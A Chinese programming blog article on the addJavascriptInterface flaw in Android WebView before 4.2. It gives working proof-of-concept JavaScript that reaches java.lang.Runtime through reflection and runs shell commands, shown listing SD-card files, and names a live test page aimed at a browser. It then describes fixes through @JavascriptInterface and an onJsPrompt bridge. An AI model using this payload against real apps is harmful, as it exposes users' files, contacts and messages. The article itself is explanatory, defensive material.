javascriptinterface与java交互在android4.2以下版本的解决方案

本文主要是介绍javascriptinterface与java交互在android4.2以下版本的解决方案，希望对大家解决编程问题提供一定的参考价值，需要的开发者们随着小编来一起学习吧！

1，使用场景

我们很多时候要使用WebView来展示一个网页，现在很多应用为了做到服务端可控，很多结果页都是网页的，而不是本地实现，这样做有很多好处，比如界面的改变不需要重新发布新版本，直接在Server端修改就行了。用网页来展示界面，通常情况下都或多或少都与Java代码有交互，比如点击网页上面的一个按钮，我们需要知道这个按钮点击事件，或者我们要调用某个方法，让页面执行某种动作，为了实现这些交互，我们通常都是使用JS来实现，而WebView已经提供了这样的方法，具体用法如下：

[java]  view plain  copy  
 
 mWebView.getSettings().setJavaScriptEnabled(true);  
 mWebView.addJavascriptInterface(new JSInterface(), "jsInterface");  

我们向WebView注册一个名叫“jsInterface”的对象，然后在JS中可以访问到jsInterface这个对象，就可以调用这个对象的一些方法，最终可以调用到Java代码中，从而实现了JS与Java代码的交互。

我们一起来看看关于addJavascriptInterface方法在Android官网的描述：

This method can be used to allow JavaScript to control the host application. This is a powerful feature, but also presents a security risk for applications targeted to API level JELLY_BEAN or below, because JavaScript could use reflection to access an injected object's public fields. Use of this method in a WebView containing untrusted content could allow an attacker to manipulate the host application in unintended ways, executing Java code with the permissions of the host application. Use extreme care when using this method in a WebView which could contain untrusted content.
JavaScript interacts with Java object on a private, background thread of this WebView. Care is therefore required to maintain thread safety.
The Java object's fields are not accessible.

简单地说，就是用addJavascriptInterface可能导致不安全，因为JS可能包含恶意代码。今天我们要说的这个漏洞就是这个，当JS包含恶意代码时，它可以干任何事情。

2，漏洞描述

通过JavaScript，可以访问当前设备的SD卡上面的任何东西，甚至是联系人信息，短信等。这很恶心吧，嘎嘎。好，我们一起来看看是怎么出现这样的错误的。可以去看看乌云平台上的这个bug描述：猛点这里

1，WebView添加了JavaScript对象，并且当前应用具有读写SDCard的权限，也就是：android.permission.WRITE_EXTERNAL_STORAGE

2，JS中可以遍历window对象，找到存在“getClass”方法的对象的对象，然后再通过反射的机制，得到Runtime对象，然后调用静态方法来执行一些命令，比如访问文件的命令.

3，再从执行命令后返回的输入流中得到字符串，就可以得到文件名的信息了。然后想干什么就干什么，好危险。核心JS代码如下：

[javascript]  view plain  copy  
 
 function execute(cmdArgs)  
 {  
     for (var obj in window) {  
         if ("getClass" in window[obj]) {  
             alert(obj);  
             return  window[obj].getClass().forName("java.lang.Runtime")  
                  .getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);  
         }  
     }  
 }   

3，漏洞证明

举例一：为了证明这个漏洞，写了一个demo来说明。我就只是加载一个包含恶意JS代码的本地网页，HTML其代码如下：

[html]  view plain  copy  
 
 <html>  
   <head>  
     <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">  
     <script>  
       var i=0;  
       function getContents(inputStream)  
       {  
         var contents = ""+i;  
         var b = inputStream.read();  
         var i = 1;  
         while(b != -1) {  
             var bString = String.fromCharCode(b);  
             contents += bString;  
             contents += "\n"  
             b = inputStream.read();  
         }  
         i=i+1;  
         return contents;  
        }  
         
        function execute(cmdArgs)  
        {  
         for (var obj in window) {  
             console.log(obj);  
             if ("getClass" in window[obj]) {  
                 alert(obj);  
                 return window[obj].getClass().forName("java.lang.Runtime").  
                     getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);  
              }  
          }  
        }   
         
       var p = execute(["ls","/mnt/sdcard/"]);  
       document.write(getContents(p.getInputStream()));  
     </script>  
   
     <script language="javascript">  
       function onButtonClick()   
       {  
         // Call the method of injected object from Android source.  
         var text = jsInterface.onButtonClick("从JS中传递过来的文本！！！");  
         alert(text);  
       }  
   
       function onImageClick()   
       {  
         //Call the method of injected object from Android source.  
         var src = document.getElementById("image").src;  
         var width = document.getElementById("image").width;  
         var height = document.getElementById("image").height;  
   
         // Call the method of injected object from Android source.  
         jsInterface.onImageClick(src, width, height);  
       }  
     </script>  
   </head>  
   
   <body>  
       <p>点击图片把URL传到Java代码</p>  
       <img class="curved_box" id="image"   
          onclick="onImageClick()"  
          width="328"  
          height="185"  
          src="http://t1.baidu.com/it/u=824022904,2596326488&fm=21&gp=0.jpg"  
          onerror="this.src='background_chl.jpg'"/>  
     </p>  
     <button type="button" onclick="onButtonClick()">与Java代码交互</button>  
   </body>  
 </html>  

这段HTML的运行效果如下：

图一：期望运行结果图

上图中，点击按钮后，JS中传递一段文本到Java代码，显示一下个toast，点击图片后，把图片的URL，width，height传到Java层，也用toast显示出来。

要实现这样的功能，就需要注Java对象。

简单说明一下

1，请看 execute()这个方法，它遍历所有window的对象，然后找到包含getClass方法的对象，利用这个对象的类，找到java.lang.Runtime对象，然后调用“getRuntime”静态方法方法得到Runtime的实例，再调用exec()方法来执行某段命令。

2，getContents()方法，从流中读取内容，显示在界面上。

3，关键的代码就是以下两句

[javascript]  view plain  copy  
 
 return window[obj].getClass().forName("java.lang.Runtime").  
                     getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);  

Java代码实现如下：

[java]  view plain  copy  
 
 mWebView = (WebView) findViewById(R.id.webview);  
 mWebView.getSettings().setJavaScriptEnabled(true);  
 mWebView.addJavascriptInterface(new JSInterface(), "jsInterface");  
 mWebView.loadUrl("file:///android_asset/html/test.html");  

需要添加的权限：

[html]  view plain  copy  
 
 <uses-permission android:name="android.permission.INTERNET"/>  
 <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />  
 <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />  

当点击LOAD菜单后，运行截图如下：（理论上应该出现图一界面）

图二：实际运行结果，列出了SDCard中的文件

举例二：360浏览器也存在这个问题，我测试的系统是android 4.0.2，360浏览器版本是：4.8.7

在浏览器输入框中输入：http://bitkiller.duapp.com/jsobj.html，然后前往，它会出现如下的界面

图三：360浏览器运行结果

说明：其中searchBoxJavaBridge_不是360注入的对象，而是WebView内部注入的，这是在3.0以后的Android系统上添加的。

在关闭这个对话框之后，它会列出当前SDCard上面的所有文件列表，如下图所示

图四：错误结果

4，解决方案

1，Android 4.2以上的系统

在Android 4.2以上的，google作了修正，通过在Java的远程方法上面声明一个@JavascriptInterface，如下面代码：

[java]  view plain  copy  
 
 class JsObject {  
    @JavascriptInterface  
    public String toString() { return "injectedObject"; }  
 }  
 webView.addJavascriptInterface(new JsObject(), "injectedObject");  
 webView.loadData("", "text/html", null);  
 webView.loadUrl("javascript:alert(injectedObject.toString())");  

2，Android 4.2以下的系统

这个问题比较难解决，但也不是不能解决。

首先，我们肯定不能再调用addJavascriptInterface方法了。关于这个问题，最核心的就是要知道JS事件这一个动作，JS与Java进行交互我们知道，有以下几种，比prompt, alert等，这样的动作都会对应到 WebChromeClient类中相应的方法，对于prompt，它对应的方法是 onJsPrompt方法，这个方法的声明如下：

[java]  view plain  copy  
 
 public boolean onJsPrompt(WebView view, String url, String message,   
     String defaultValue, JsPromptResult result)  

通过这个方法，JS能把信息（文本）传递到Java，而Java也能把信息（文本）传递到JS中，通知这个思路我们能不能找到解决方案呢？

经过一番尝试与分析，找到一种比较可行的方案，请看下面几个小点：

【1】让JS调用一个Javascript方法，这个方法中是调用prompt方法，通过prompt把JS中的信息传递过来，这些信息应该是我们组合成的一段有意义的文本，可能包含： 特定标识，方法名称，参数等。在 onJsPrompt方法中，我们去解析传递过来的文本，得到方法名，参数等，再通过反射机制，调用指定的方法，从而调用到Java对象的方法。

【2】关于返回值，可以通过prompt返回回去，这样就可以把Java中方法的处理结果返回到Js中。

【3】我们需要动态生成一段声明Javascript方法的JS脚本，通过loadUrl来加载它，从而注册到html页面中，具体的代码如下：

[javascript]  view plain  copy  
 
 javascript:(function JsAddJavascriptInterface_(){  
     if (typeof(window.jsInterface)!='undefined') {      
         console.log('window.jsInterface_js_interface_name is exist!!');}   
     else {  
         window.jsInterface = {          
             onButtonClick:function(arg0) {   
                 return prompt('MyApp:'+JSON.stringify({obj:'jsInterface',func:'onButtonClick',args:[arg0]}));  
             },  
               
             onImageClick:function(arg0,arg1,arg2) {   
                 prompt('MyApp:'+JSON.stringify({obj:'jsInterface',func:'onImageClick',args:[arg0,arg1,arg2]}));  
             },  
         };  
     }  
 }  
 )()  